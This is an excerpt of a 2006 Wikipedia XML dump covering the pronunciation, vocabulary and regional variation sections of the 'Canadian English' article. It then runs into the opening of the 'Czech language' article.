Diphthong raising is shared with many American dialects in the words ''writer''  and ''rider'', pronounced (approximately) as {{IPA|[ɹʌjɾəɹ]}} and {{IPA|[ɹajɾəɹ]}} ([[phonetic transcription]] in [[International Phonetic Alphabet|IPA]]). Note that Canadian English shares with American English the phenomenon where {{IPA|/t/}} and {{IPA|/d/}} become {{IPA|[ɾ]}} after a vowel and before an unstressed vowel. Canadian raising preserves the voicelessness of {{IPA|/t/}} and the voicedness of {{IPA|/d/}} where it is etymologically appropriate, even where the contrast is lost in the consonant itself. 

Also heard is the variation in the pronunciation of the word ''can't'', in Ontario, it is said almost as ''canned'', whereas in the west, it becomes more like ''kahnt''.  The [[Northern cities vowel shift]] that is happening in Michigan also is heard to an extent in Southwestern Ontario, for example, Andy is pronounced {{IPA|[eəndi]}} or {{IPA|[ɪəndi]}}.

A recently identified feature (1995) found among many Canadians is a [[chain shift]] known as the Canadian Shift.  This is not found in the Atlantic Provinces, east of [[Quebec]]; it is only found in [[Ontario]] and further west.  For people with this shift, ''cot'' and ''caught'' merge in rounded {{IPA|[ɒ]}} position.  The {{IPA|/æ/}} of ''bat'' then moves down to {{IPA|[a]}}, while the {{IPA|/ɛ/}} of ''bet'' becomes {{IPA|[æ]}}, which is short-a in other accents.  This shift is still a relatively new phenomenon, so not all Canadians have it. Of the ones that do, not all have the last stage.  Canadians without the Shift typically pronounce ''cot'' and ''caught'' as an un-rounded {{IPA|[ɑ]}}, as in the western United States. 

There is a tendency to [[monophthong]]ize the long ''a'' and ''o'' sounds, resulting in {{IPA|[beːt]}} for ''bait'' and {{IPA|[boːt]}} for ''boat'' (though this occurs usually in rapid speech). Finally, the broad {{IPA|/ɑ/}} of foreign loan words in words like ''drama'' or ''Iraq'' are usually pronounced like the short ''a'' of ''bat'': {{IPA|/dɹæmə/, /ɪɹæk/}}.

Like American English, Canadian English is largely [[rhotic and non-rhotic accents|rhotic]]. This means it maintains the pronunciation of ''r'' before consonants. Rhoticity has been largely influenced by [[Hiberno-English]], [[Scottish English]], and [[West Country dialects|West Country English]].

Americans sometimes claim to be able to recognize some Canadians instantly by their use of the word [[eh]]. However, only a certain usage of ''eh'' (detailed in the article) is peculiar to Canada. It is common in southern [[Ontario]], the [[Maritimes]] and the [[Canadian Prairies|Prairie provinces]]. In some parts of the United States, American English exhibits features of Canadian English, including Canadian Raising and the use of eh. Canadian accents are sometimes detected among [[Michigan|Michiganders]], [[Minnesota|Minnesotans]], [[Western New York|Western New Yorkers]] and their northern fellows.

===Other variations===
[[Canada]] shares similarities with [[British English]] in pronouncing words like ''fragile'', ''fertile'', and ''mobile''. While [[American English]] pronounce them as {{IPA|[fɹædʒl̩]}}, {{IPA|[fɝɾl̩]}}, and {{IPA|[moʊbl̩]}}, Canadians pronounce them as the British do, sounding like {{IPA|/fɹædʒajl̩/}}, {{IPA|/moʊbajl̩/}} An exception is ''missile'', where the American and British versions are almost equal; the American pronunciation of ''fertile'' is also becoming very popular in Canada, even though the British pronunciation remains dominant.

In American English, words like ''semi'', ''anti'', and ''multi'' are often pronounced as {{IPA|/sɛmaj/}}, {{IPA|/æntaj/}}, and {{IPA|/mʌltaj/}}, whereas the British pronounce them like {{IPA|/sɛmi/}}, {{IPA|/ænti/}}, and so on. Canadians tend to prefer the British pronunciation of these words, though American pronunciation has made headway.

In Canada, the word ''premier'', as meant to be the leader of a provincial or territorial government, is pronounced {{IPA|[ˈpɹɛ.mjɛɹ]}}, {{IPA|[ˈpɹi.mjiɹ]}}, or {{IPA|[ˈpɹi.mjɛɹ]}} in most places&lt;!--, as opposed to the United States, where it is pronounced {{IPA|[ˈpɹɛ.miɹ]}}--&gt;. ''Premiere'', denoting a first performance, is pronounced the same in Canada as the rest of the world.

==Vocabulary== 

Where Canadian English shares vocabulary with other English dialects, it tends to share most with American English. For instance, automotive terminology in Canada is entirely American. Canadians may prefer the British term ''railway'' to the American ''railroad'', but most railway terminology in Canada follows American usage (e.g., ''ties'', as well as ''cars'' rather than ''sleepers'' and ''waggons''), although railway employees themselves say ''sleeper''.

Spoken Canadian English and American English are mutually intelligible with each other and much more readily understood and less fraught with differences than British English is to either of them.  However, some terms in standard Canadian English are shared with Commonwealth English, but ''not'' with American English. These include:

===Britishisms===
*''[[Tory]]'' for a supporter of the federal [[Conservative Party of Canada]], the historic [[Progressive Conservative Party of Canada]] or a provincial Progressive Conservative party; the U.S. use of ''Tory'' to mean the Loyalists in the time of the [[American Revolution]] is unknown in Canada, where they are called [[United Empire Loyalists]].
*''solicitor'' and ''barrister'' for lawyers — although in Canada, a lawyer is usually referred to as a barrister and solicitor only in formal and professional usage; ''lawyer'', or ''counsel'' predominates in everyday contexts, and sometimes the American usage ''attorney'' is encountered. In England, Australia, New Zealand, Ireland, Wales, etc. the legal profession remains divided and the terms have a practical meaning and [[solicitor]] and [[barrister]] are two different people; in Canada, the same [[lawyer]] occupies both roles but will often use terms like ''Barrister and Solicitor'', or ''QC'' (Queen's Counsel, an honour given in some provinces for a certain level of experience or, be it said, service to the political party in office) as formal or official titles. Prior to the fusion of law and equity solicitors and attorneys practised, respectively, in the courts of law and equity. When the courts were fused, one of the two terms became superfluous; Americans chose &quot;attorney&quot;; the British, Canadians, Australians and New Zealanders chose &quot;solicitor,&quot; although one still hears &quot;attorney&quot; from time to time in Australia. In the Indian subcontinent, perplexingly, the term &quot;advocate&quot; is used — in Canada this would indicate a Quebec practitioner. 
*[[Back bacon]]: called in the U.S. ''Canadian bacon''
*''bum'' for the American ''butt''. The two words co-exist in Canadian English, and &quot;bum&quot; is most commonly used as a polite or childish euphemism. However, &quot;bum&quot; does not have the indecent character it retains in British and Australasian use. [[Robert Munsch]] found it necessary to change &quot;You are a bum&quot; to &quot;You are a toad&quot; in the British edition of his children's story ''The Paper Bag Princess''. And the 1940s United Church Young People's Union song &quot;There's not a bum in the Yonge Street Mission/...Put a nickel in the drum, save another dirty bum&quot; provokes considerable shock among fellow Methodists in other Commonwealth countries.
*''tin'' (as in ''tin of tuna'') rather than ''can.'', however, as elsewhere, the latter is used more often. 
*''[[arse]]'' is commonly used in Atlantic Canada and among older people in Ontario and to the west. West of the Ottawa river, ''ass'' is more idiomatic among younger people. 
*''serviette'': a table napkin. Considered a give-away of low-class antecedents in the UK and the U.S. and also generally in English Canada but sometimes in Canada assumed to be indicative of a knowledge of French and therefore sometimes to be heard among upper middle class people on that basis. 

Several lexical items come from British English, such as ''lieutenant'' ({{IPA|/lɛf-/}}) (used in the Canadian military: &quot;lootenant&quot; in the navy; &quot;leftenant&quot; in the army and airforce);  ''light standard'' (an obsolete British word for lamp-post, rarely used today). Several political terms are uniquely Canadian, including ''[[riding]]'' (a [[parliament]]ary constituency or electoral district).

===French Loanwords===
Like other dialects of English that exist in proximity to [[francophone]]s, [[French language|French]] [[loanword]]s have entered Canadian English, such as:
*''alcool'': grain [[alcohol]]; [[everclear (alcohol)|everclear]] (pronounced as if English, ''al-cool'')
*''[[CÉGEP]]'' (Collège d'enseignement général et professionnel): a two- or three-year pre-university or professional college (Quebec only)
*''[[dépanneur]]'': a corner store (convenience store), shortened to ''dep'' (Québec only)
*''[[poutine]]'': a dish where [[french fries]] (or chips) are topped with cheese [[curd]]s and covered with hot gravy (Quebec) or a dumpling filled with ground meat (Maritimes).
*''Society of Alcohols'': the [[Société des alcools du Québec]], a [[liquor]] store. Often called the SAQ (Pronounced ''sack'' or ''S-A-Q'') by anglophones. Formerly called the Regie (for Regie des alcools). (Québec only)
*''[[tuque]]'': a close-fitting woolen winter hat (sometimes spelled ''[[toque]]'', which is assimilated from a different kind of hat, or ''touque'').  [[American English]] would use the terms [[stocking-cap]], [[knit cap]] or [[watch cap]].
*historical and political terms such as ''[[voyageur]]'', ''[[Les Automatistes|Automatiste]]'', ''[[Quiet Revolution]]'', ''[[Parti Québécois|péquiste]]'', ''[[Bloc Québécois|bloquiste]]'' 

Often native French Canadian speakers will use [[calque]]s of French [[idiom]]s, so in Quebec it is relatively common of for both Anglophones and Francophones to &quot;close the light&quot; or to &quot;open the light&quot;, meaning to turn on or off the light in a room.  This was especially common in the [[Gaspé Peninsula]], where until recently Anglophones and Francophones lived in mixed communities for generations.  Similar [[calque]]s from other languages are found in English throughout Canada, particularly in BC and the Prairies where translated usages from European languages are common, whether inherited from parents or spoken by new immigrants.

===Some Distinctive Canadian English Terms===
Canadian English also has its own terms not found, or not widely used, in other variants of English. In [[1998]], [[Oxford University Press]] produced a Canadian English dictionary, after five years of lexicographical research, called ''The Canadian Oxford Dictionary''; a second edition was published in [[2004]]. It listed uniquely Canadian words and words borrowed from other languages, and surveyed spellings, such as whether ''colour'' or ''color'' was the most popular choice in common use. The list below includes some words that are not strictly unique to Canada, but are distinctive for their relatively widespread use there.

*[[Allophone (Canadian usage)|Allophone]]: a resident of Quebec who speaks a first language other than English or French. This is &quot;uniquely Canadian&quot; only in the sense that a word that only linguists use in English in other countries has come to be used by journalists and broadcasters, and then by the general public, in some parts of Canada.
*Biffy: outdoor toilet usually located over pit or a septic tank.  The Americanism &quot;john&quot; and the Britishism &quot;loo&quot; are relatively common in British Columbia.
*Big Smoke: lately co-opted by Toronto but originally and for a long time in [[British Columbia|BC]] and [[Alberta]] used ''only'' in reference to Vancouver, either with or without a definite article.  The origin of the term is not mill-smoke, as might be guessed at first, but from the use of &quot;smoke&quot; in the Chinook Jargon to mean rain and/or fog (of which Vancouver has plenty)
*Blochead: (derogatory term) a member of the [[Bloc Québécois]]
*[[Butter tart]]: a single-serving sweet pie, often with raisins; very like pecan pie, minus the pecans - but in Canada a single-serving pecan pie is called a &quot;butter tart with pecans&quot;.
*[[Concession road]]; in southern Ontario and southern Quebec, one of a set of roads laid out by the colonial government as part of the distribution of land in standard lot sizes. The roads were laid out in squares as nearly as possible equal to 1,000 acres (that is, one and a quarter miles square). In Ontario, many roads are still called ''lines''.
*[[couch|Chesterfield]] (also [[Northern California]]n English and [[British English]]): a sofa, couch, or loveseat[http://www.bartleby.com/61/94/C0279400.html] 
*Dayliner: a [[Budd Rail Diesel Car]], a self-propelled diesel passenger railcar, typically called a &quot;Budd Car&quot;
*Double-double: a cup of coffee with two creams and two sugars (especially, but not exclusively, from [[Tim Hortons]])
*Eavestroughs (also Northern &amp; Western U.S.): grooves or channels that attach to the underside of the roof of a house to collect rainwater. Known to most Americans and to Britons as [[gutter]]s.
*[[Family Compact]]: a group of influential [[family compact|families]] who exercised substantial political control of [[Ontario]] during part of the [[1800]]s.  The Quebec equivalent was the [[Chateau Clique]]
*[[Garburator]]: a garbage disposal unit located beneath the drain of a kitchen sink.
*Gettone (in [[Toronto]] and environs): [[foosball]]; pronounced roughly as in [[Italian language|Italian]]
*Grit: a member or supporter of one of the federal or provincial [[Liberal Party of Canada|Liberal]] parties (but ''not'' the [[Parti libéral du Québec]])
*Joe job: a low-class, low-paying job. Not to be confused with the American term [[joe job]].
*Keener: an enthusiastic student, not necessarily a positive term
*[[Kokanee (fish)|Kokanee]]: British Columbian name for a species of land-locked salmon (accent on first syllable). Also the name of a [[Kokanee beer|popular beer]] made in the [[Kootenay]] district, aka &quot;Blue Cocaine&quot;. 
*[[Kraft Dinner]]: often shortened to ''KD'', known in the U.S. as [[Kraft Macaroni and Cheese]]
*[[Loonie]] and [[toonie]]: Canadian one- and two-dollar coins. Derived from the use of the [[Loon|loon]] on the Canadian dollar coin.
*Loser cruiser: public transit, i.e. the bus.  Usually only used by owners of vehicles when speaking disparagingly of transit riders.
*[[Nanaimo bar]]: a confection named for the town of [[Nanaimo, British Columbia]] and made of egg custard with a Graham-cracker-based bottom and a thin layer of chocolate on top; however, this term is now common in the United States and elsewhere, thanks to the efforts of [[Starbucks]] in popularizing them.
*Navvy Jack - the name for the top grade of washed pea gravel in the hardware/landscaping business in [[British Columbia]].  Named for the first white settler in West Vancouver, a British &quot;[[navvy]]&quot; who supplied this type of gravel to the growing communities of Burrard Inlet.
*[[Parkade]]: parking garage
*[[Quiggly hole]] and Quiggly town: remains of First Nations underground houses in the Interior of [[British Columbia]]
*[[Robertson screwdriver|Robertson]]: a Canadian square-headed screw or [[screwdriver]].  While this is used outside the country for that screw head type, the screws are much less common.
*Runners: running shoes; sneakers
*Shit disturber: a person who tends to create controversy or chaos
*[[Sugar pie]]: A pie made with maple-sugar filling, similar to a [[butter tart]] and a staple in Québécois home cooking.  
*[[Ski-Doo]]: a brand name now used generically to refer to any [[snowmobile]].  Can also be used as a verb.
*Snowbird: a Canadian who spends the winter in the States (often [[Florida]]).  Often retired.  Also the name of [[Snowbirds|the Canadian Forces aerobatics team]].
*[[Timbits]]: a brand name of doughnut holes made by [[Tim Hortons]] that has become a generic term
*Trousseau tea: a reception held by the mother of a bride, for neighbours not invited to the wedding
*[[Tuque]]: a knit winter hat that covers the head and ears (called a &quot;ski hat&quot;, &quot;watch cap&quot;, &quot;stocking cap&quot;, or &quot;beanie&quot; in American English)
*Newfie: A colloquial term used to discribe one who is from Newfoundland and Labrador.
*[[Pickerel]]: This is a mis-used slang word for [[Walleye]]. [[pickerel]] are actually a number of species that are members of the [[Esox]] family, commonly called the pike family, while [[walleye]] is a member of the [[Percidae]] family. 
*[[Canuck]]: A a slang term for &quot;Canadian&quot; in American English and Canadian English. It sometimes means &quot;French Canadian&quot; in particular, especially when used in the Northeast of the United States and in Canada.



The [[Bob &amp; Doug McKenzie]] &quot;Take off to the Great White North&quot; comedy routines, popular in both the U.S. and Canada in the early [[1980]]s, drew heavily on linguistic differences such as pronunciation (such as ''Trawna'' for Toronto or ''brudle'' for brutal) as well as once-obscure historical terms such as ''hoser'' or ''hosehead'' (originally used to refer to gas [[siphon]]ing on the [[Canadian Prairies|prairies]] in the [[Great Depression|depression]] era).

===Variations between Canadian and American lexicons===
There are a few meaning differences between Canadian and American English; for example, to table a document in Canada is to present it, whereas in the U.S. it means to withdraw it from consideration. Also, a 'rubber' in the U.S. and Canada is slang for a condom; however, in Canada it is sometimes also another term for 'eraser' (as it is in [[England]]) and for overshoes.  In the same vein is &quot;pissed&quot;, which in the U.S. means &quot;angry&quot; but in Canada means &quot;drunk&quot;; the Canadian equivalent to the American usage most often requires the context &quot;pissed off&quot;, although the &quot;off&quot; is not mandatory.  Similarly, &quot;pissed up&quot; means ''(got) drunk'' and the phrase &quot;it was a real piss-up&quot; means that everybody involved became really inebriated.

Canadians mostly use the term 'gasoline', rather than the [[United Kingdom|British]] term 'petrol'. Gasoline prices require some awkward [[translation]] between Canadian and American figures. Even before the [[metrication]] efforts of the [[1970]]s, the translation of &quot;dollars per gallon&quot; required not only replacing Canadian vs. American [[currency|currencies]] but also a conversion between Imperial (4.5 [[litre|L]]) vs. U.S. (3.8 [[liter|L]]) [[gallon]]s.

When pronouncing letters of the alphabet, Canadians almost invariably use the Anglo-European (and French) &quot;zed&quot; rather than the American &quot;zee&quot; for the letter [[Z]]. Canadian students add &quot;grade&quot; before their grade level, instead of after it as is the usual, but not sole, American practice. For example, a student in the &quot;10th grade&quot; in the U.S. would be in &quot;Grade 10&quot; in Canada. (Quebec anglophones may instead say &quot;sec 5&quot; (secondary 5) for Grade 11.)  It should also be noted that in Canada, the specific high school grade (eg. Grade 9 or Grade 12) or university year is stated and not the American terms &quot;freshman&quot; or &quot;sophomore&quot;.  Also, while in the United States the term &quot;college&quot; refers to post-secondary education in general, the term &quot;college&quot; has a different meaning in Canada. It refers to either a post-secondary technical or vocational institution, or to one of the colleges that exist as individual institutions within some Canadian universities. Most often, a &quot;college&quot; is a community college, not a university. It may also refer to a [[CÉGEP]] in Quebec. In Canada a &quot;college student&quot; might denote someone obtaining a diploma in plumbing while &quot;university student&quot; is the term for someone earning a [[bachelor's degree]].  Still, &quot;going to college&quot; has the same meaning as &quot;going to university&quot;, unless someone is being specific about which level of post-secondary education they are referring to.

There is also greater resistance to turning nouns into verbs in Canada. Until recently, many Canadian teachers rejected the verb ''to contact''.

Adoption of [[SI|metric]] units is more advanced in Canada than in the U.S. due to governmental efforts during the [[Pierre Trudeau|Trudeau]] era; Canadians still often use pounds, feet and inches to measure themselves; cups, teaspoons and tablespoons in the kitchen; and miles per gallon instead of litres per 100km for fuel efficiency; but outdoor temperatures, groceries, fuel and highway speeds/distances are almost always given in metric figures.

===Chinook Jargon words in British Columbia===
British Columbia English has several words still in current use which are loanwords from the [[Chinook Jargon]], which was widely spoken throughout the province by all ethnicities well into the middle of the 20th Century.  Granted these originally came from the lower Columbia River (for the most part) but the Jargon came to B.C. before the mainland colony was declared and the development of the Jargon in the form it spread to here as is the direct result of British influence (the HBC's activity) in the region.  These words tend to be shared with, but are not as common in, the states of [[Oregon]], [[Washington]], [[Alaska]] and, to a lesser degree, [[Idaho]] and western [[Montana]].  The most famous of these words, and probably the most popular still, is ''skookum'', which was used in the [[Chinook Jargon|Jargon]] either as a verb auxiliary for ''to be able'' or an adjective for ''able, strong, big, genuine, reliable'' - which sums up its use in BC English, although there are a wide range of possible usages: a ''skookum house'' is a jail or prison (''house'' in the [[Chinook Jargon|Jargon]] could mean anything from a building to a room.  &quot;He's a skookum guy&quot; means that the person is solid and reliable while &quot;we need somebody who's skookum&quot; means that a strong and large person is needed.  A carpenter, after banging a stud into place, might check it or refer to it as &quot;yeah, that's skookum&quot;.  Asking for affirmation, someone might say &quot;is that skookum&quot; or &quot;is that skookum with you?&quot;  ''Skookum'' can also be translated simply as &quot;O.K.&quot; but it means something a bit more emphatic.  

Other [[Chinook Jargon|Jargon]] words in BC English include ''chuck'', originally meaning water or any fluid but adapted into English to refer to bodies of water, particularly &quot;the saltchuck&quot; in reference to salt water.  In combination with ''skookum'' the compound word ''skookumchuck'', meaning a rapids (lit. &quot;strong water&quot;), is found in three placenames although not used with its true meaning in ordinary speech.  ''Chuck'' and ''saltchuck'', however, remain common, even in local broadcast English.   

There's also &quot;high muckamuck&quot; and even its proper form &quot;hyas muckamuck&quot; (high-ass), and the variant &quot;high mucketymuck&quot;; &quot;high mucketymuck/muckamuck&quot; has spread far beyond the Pacific Northwest, and meaning a big boss, a high poohbah, and while literally meaning &quot;big feed&quot; or &quot;important banquet&quot;, potentially meaning even a fullblown [[potlatch]] - another very BC word, by the way - in English it has a sense of &quot;the guys at the head table&quot; since &quot;muckamuck&quot; or &quot;a feed&quot; is in the same vein in non-city BC English as &quot;grub&quot; or &quot;a meal/dinner&quot;.  &quot;Quiggly hole&quot; or &quot;quiggly&quot; referst to the remains of an old Indian pit-house, or underground house, from &quot;kickwillie&quot; or &quot;kekuli&quot;, which in the Jargon means &quot;down&quot; or &quot;underneath&quot; or &quot;beneath&quot;.

In northern BC and the [[Yukon]], and used in broadcast English in those areas, the Chinook Jargon adaption of the French ''merci'' remains common, i.e. ''mahsi'' or ''masi'', with the accent on the first syllable (unlike in French).

==Regional variation in pronunciation==

===Toronto===
The English spoken in [[Toronto]] is closely related to the midwestern American accent, but without the [[Northern cities vowel shift]]. Slang terms used in Toronto are synonymous with those used in other major North American  cities. There is also a heavy influx of slang terminology originating from Toronto's many immigrant communities, of which the vast majority speak English only as a second or minor language. These terms originate mainly from various European, Asian and African words. Many Torontonians  use ''buddy'' (without a capital) as it is often used in Newfoundland English &amp;#8211; as equivalent to ''that man'' (''I like buddy's car.'').

===Maritimes===
[[Canadian Maritimes|Maritimer]] English quirks include the removal of pre-consonantal [ɹ] sounds, and a faster speech tempo. It is heavily influenced by both British and Irish English.

An example of typical Maritime English might be the pronunciation of the word &quot;battery.&quot;  In American English (and also Western Canadian English) the word would be pronounced &quot;bad-der-y&quot;, but (sometimes) &quot;bat-try&quot; in the Maritimes which follows the British pronunciation. The letter &quot;T&quot; is strongly pronounced in general, but always lightly. It is rare for the &quot;T&quot; at the end of a word to receive a &quot;D&quot; pronunciation.

While the stereotypical Canadian interrogative &quot;Eh?&quot; is used more often in the Maritimes than it would be in the U.S., it is actually quite rare compared to Western Canada.  Alternatively, one might hear the interrogative &quot;Right?&quot; which is in turn used as an adverb (e.g.: &quot;It was right foggy today!&quot;) as well. &quot;Some&quot; can be used as an adverb as well, in certain circles (e.g.: &quot;This cake is some good!&quot;).

The second syllable of &quot;about&quot; is pronounced {{IPA|[ʌʊ]}} rather than RP {{IPA|[aʊ]}}. The main distinction between Canadian (Prairie) pronunciation of this diphthong is in its resolution. Namely, an American pronunciation resolves the ''a''-sound {{IPA|[ɶ]}} (or, alternatively, the schwa sound ({{IPA|[ə]}})) &lt;!-- resolves with an ''oo''-sound [u], (''a bah oo t''); --&gt;, whereas the Canadian pronunciation resolves with an ''oh''-sound {{IPA|[ɔ]}} (''a bah oh t'').  One might hear the term &quot;Out and about&quot; being pronounced as &quot;Oat in a boat&quot; in the Maritimes.

British terms are very much still a part of Maritime English, although slowly fading away in favour of American or Western terms.  &quot;Chesterfield&quot; and &quot;front room&quot; are examples of this.

[[Cape Breton Island]] has a [[Cape Breton accent|distinct dialect]] due to settlement by speakers of [[Acadian French]] and [[Scottish Gaelic]].

===Newfoundland===
The province of [[Newfoundland and Labrador]], which was an autonomous dominion until [[March 31]], [[1949]], has its own [[dialect]] distinct from the rest of Canadian English. See [[Newfoundland English]].

===Quebec===
English is a minority language in Quebec, but has many speakers in Montréal, the [[Eastern Townships]] and in the [[Gatineau]]-[[Ottawa]] region.

Among Montréal-native anglophones, there is a distinction between /æ/ and /a/, unique in Canada, so that ''Mary'' and ''merry'' are not homophones.

Among Eastern Townships-native anglophones, ''syrup'' is often pronounced as ''sir-rup''.

A short ''a'' is used in words like ''drama''; in common with most Canadians, Québécois and Ontarians pronounce words of foreign origin (Datsun, Mazda, etc.) as if the vowels are French.

===Ontario===
The [[Canadian raising]] is often quite strong in [[Ontario]]. Many speakers in Ontario and the provinces further west have a new [[chain shift]] called the [[Canadian Shift]].

In southwestern Ontario (especially rural areas), some speakers also have aspects of the Midwestern U.S. accent, e.g. ''not'' sounds like ''naht'' ({{IPA|/nɔt/}} → /nat/), combined with Canadian raising (see U.S. below). The accent is slightly modified to signify sarcasm or emphasis: ''not'' becomes a heavily stressed ''nat'', for example, and ''hockey'' may sound like ''hackey'' (with an ''æ'').

Use of the interrogative &quot;[[Eh]]?&quot; is widespread.

Intervocalic ''s'' {{IPA|–}} is more frequently voiced in words such as ''resource''. A short ''a'' is used in words like ''drama''; in common with most Canadians, Québécois and Ontarians pronounce words of foreign origin (Datsun, Mazda, etc.) as if the vowels are French. Many Ontarians do not pronounce, or give very little emphasis to the second ''t'' in ''[[Toronto]]'' (hence, ''Toronno'').

In Central Ontario (that is, the region around [[Toronto]]) in particular, the voiced ''th'' and ''d'' are often not distinguished, the two pronunciations frequently appearing together (&quot;Do you want this one or dis one?&quot;, for example). Sometimes (particularly in [[North York]], see the above section), the ''th'' is dropped altogether, resulting in &quot;Do you want this one er'iss one?&quot; The word southern is often pronounced as 'sow-thern' as opposed to 'suth-ern'. Most accents, of course, are quite subtle, and most immaterial to detailed speech. In the regional area north of York and south of Parry Sound, notably among those who were born in these bedroom communities (Barrie, Vaughn, Orillia, Bradford, Newmarket) as opposed to those who moved there to commute, the cutting down of syllables is often heard, e.g. &quot;prolly&quot; instead of &quot;probably&quot; (as in a response).

The [[Ottawa valley]] has its own distinct accent, known as the [[Ottawa Valley Twang]].

===Prairies===
A strong [[Canadian raising]] exists in the [[Canadian Prairies|prairie regions]] together with certain older usages such as ''chesterfield'' and ''front room'' also associated with the Maritimes. Aboriginal Canadians are a larger and more conspicuous population in prairie cities than elsewhere in the country and certain elements of aboriginal speech in English are widely to be heard.  Similarly, the linguistic legacy, mostly intonation, of the Scandinavian, Slavic and German settlers who are far more numerous in the Prairies than in Ontario or the Maritimes can be heard in the general milieu.  Again, the large Metis population in Saskatchewan also carries with it certain linguistic traits inherited from French, aboriginal and Celtic forebears.

===British Columbia===

There have been no formal studies of English pronunciation in [[British Columbia]], although locals note variations between certain towns.  Parts of the [[Interior Plateau|Interior]] have a strong cowboy twang or drawl - elongated vowels and diphthongs - rooted in the family legacies of American settlement during the province's frontier era.  British accents and a wide range of European and Asian second-language flavoured English have always been common, to the point of the British flavour being identifiably a hallmark of early 20th century BC, as has been English as spoken by [[First Nations]] peoples, which is distinct as an accent but also remains undocumented.

==See also==

*[[Canadian slang]]

==References==

* Peters, Pam (2004). ''The Cambridge Guide to English Usage''. Cambridge: Cambridge University Press. ISBN 052162181X.

== External links ==

* [http://www.ic.arizona.edu/~lsp/CanadianEnglish.html Varieties of English: Canadian English] from the University of Arizona
* [http://www.luther.ca/~dave7cnv/cdnspelling/cdnspelling.html  Dave VE7CNV's Truly Canadian Dictionary of Canadian Spelling] - comparisons of Canadian English, American English, British English, French, and Spanish
* [http://www.cornerstoneword.com/misc/cdneng/cdneng.htm Cornerstone's Canadian English Page]
* [http://www.fedpubs.com/subject/refer/oxfdic.htm Oxford University Press's Canadian English Dictionary]
* [http://www.oup.com/ca/genref/dictionaries/ Canadian Oxford Dictionaries]
* [http://www.cbc.ca/news/indepth/words/index.html Canadian Broadcasting Corporation's Words: Woe &amp; Wonder]
* [http://www.digitas.harvard.edu/cgi-bin/wiki/ken/BritishVsAmerican ProperTreatment: BritishVsAmerican]
* [http://canadianenglish1.narod.ru Proper Treatment: Canadian vs American vs British]
* [http://www.wordwebonline.com/ WordWeb Online]
* [http://hcs.harvard.edu/~hgscc/glossary.html Canadian Glossary, eh! (A list of Canadian words and pronunciations)]
* [http://www.dico.uottawa.ca/theses/hamilton/hamilton2.htm Lexical, grammatical, orthographic and phonetic Canadianisms]
* [http://www.editors.ca Editors' Association of Canada (EAC)]
* [http://www.world-english.org/ World English Organization]
* [http://blog.fawny.org/2005/01/29/lexemes/ Harmless drudgery &amp;ndash; but Canadian] - Joe Clark's weblog entry about a recent talk by ''Canadian Oxford Dictionary'' editrix Katherine Barber (note that this Joe Clark is ''not'' the former [[Prime Minister of Canada]])
* [http://www.geist.com/columns/columns.php?id=16  Bad Spellers] by Stephen Henighan, an examination of the inconsistencies in Canadian authors' spellings

==Further reading==

* Canadian Raising: O'Grady and Dobrovolsky, ''Contemporary Linguistic Analysis: An Introduction'', 3rd ed., pp. 67-68.

* Canadian English: Editors' Association of Canada, [http://www.editors.ca/pubs/index.htm#editing ''Editing Canadian English: The Essential Canadian Guide''], 2nd ed. (Toronto: McClelland &amp; Stewart, 2000).

* Canadian federal government style guide: Public Works and Government Services Canada, ''The Canadian Style: A Guide to Writing and Editing'' (Toronto: University of Toronto Press, 1998).

* Canadian newspaper and magazine style guides: 
** J.A. McFarlane and Warren Clements, ''The Globe and Mail Style Book: A Guide to Language and Usage'', 9th ed. (Toronto: McClelland &amp; Stewart, 1998).
** The Canadian Press, [http://www.cp.org/asp/thirdLevel.asp?category=books&amp;maintable=cp ''The Canadian Press Stylebook'', 13th ed.] and its quick-reference companion [http://www.cp.org/asp/thirdLevel.asp?category=books&amp;maintable=caps ''CP Caps and Spelling'', 16th ed.] (both Toronto: Canadian Press, 2004).

* Canadian usage: Margery Fee and Janice McAlpine, ''Guide to Canadian English Usage'' (Toronto: Oxford University Press, 2001).

[[Category:North American English]]
[[Category:Languages of Canada]]
[[Category:English language]]
[[Category:Forms of English]]

[[af:Kanadese Engels]]
[[de:Kanadisches Englisch]]
[[he:אנגלית קנדית]]</text>
    </revision>
  </page>
  <page>
    <title>Czech language</title>
    <id>6343</id>
    <revision>
      <id>41839020</id>
      <timestamp>2006-03-02T01:58:37Z</timestamp>
      <contributor>
        <ip>83.27.27.126</ip>
      </contributor>
      <comment>/* Other */</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Czech
|nativename=Čeština
|states=[[Czech Republic]] and as a minority language also in the [[United States]], [[Canada]], [[Germany]] and [[Slovakia]]
|region=[[Central Europe]]
|speakers=12 million
|rank=73
|familycolor=Indo-European
|fam2=[[Slavic languages|Slavic]]
|fam3=[[West Slavic languages|West Slavic]]
|fam4=[[Czech-Slovak]]
|nation=[[Czech Republic]], [[European Union]]
|agency=[[Czech Language Institute]]
|iso1=cs|iso2b=cze|iso2t=ces|iso3=ces}}

'''Czech''' (''Čeština'') is one of the West [[Slavic languages]], along with [[Slovak language|Slovak]], [[Polish language|Polish]], [[Pomeranian language|Pomeranian]] (extinct), and Lusatian [[Sorbian language|Sorbian]]. It is spoken by most people in the [[Czech Republic]] and by Czechs all over the world (about 12 million native speakers in total). Czech is very close to Slovak and, to a lesser degree, to Polish. Most adult Czechs and Slovaks are able to understand each other without difficulty as they were routinely exposed to both languages on the national TV and radio until the [[Velvet Divorce|splitting of Czechoslovakia]]. People born after circa 1985 may have difficulty grasping the few words that differ significantly, or understanding fast spoken language.

Because of its complexity, Czech is said to be a difficult [[language]] to learn. The complexity is due to extensive [[morphology (linguistics)|morphology]] and highly free word order. As in all Slavic languages (except [[Bulgarian language|modern Bulgarian]] and [[Macedonian language|Macedonian]]), many words (especially nouns, verbs, and adjectives) have many forms ([[inflection]]s).  In this regard, Czech and the Slavic languages are closer to their [[Indo-European language|Indo-European]] origins than other languages in the same family that have lost much inflection. Moreover, in Czech the rules of morphology are extremely irregular and many forms have official, [[colloquial]] and sometimes semi-official variants.  The word order serves similar function as emphasis and articles in English. Often all the [[permutation]]s of words in a [[clause]] are possible. While the permutations mostly share the same meaning, it is nevertheless different, because the permutations differ in the [[topic-focus articulation]]. As an example we can show: ''Češi udělali revoluci''
(The Czechs made a revolution), ''Revoluci udělali Češi'' (It was the Czechs who made the revolution), and ''Češi revoluci udělali'' (The Czechs did make a revolution).

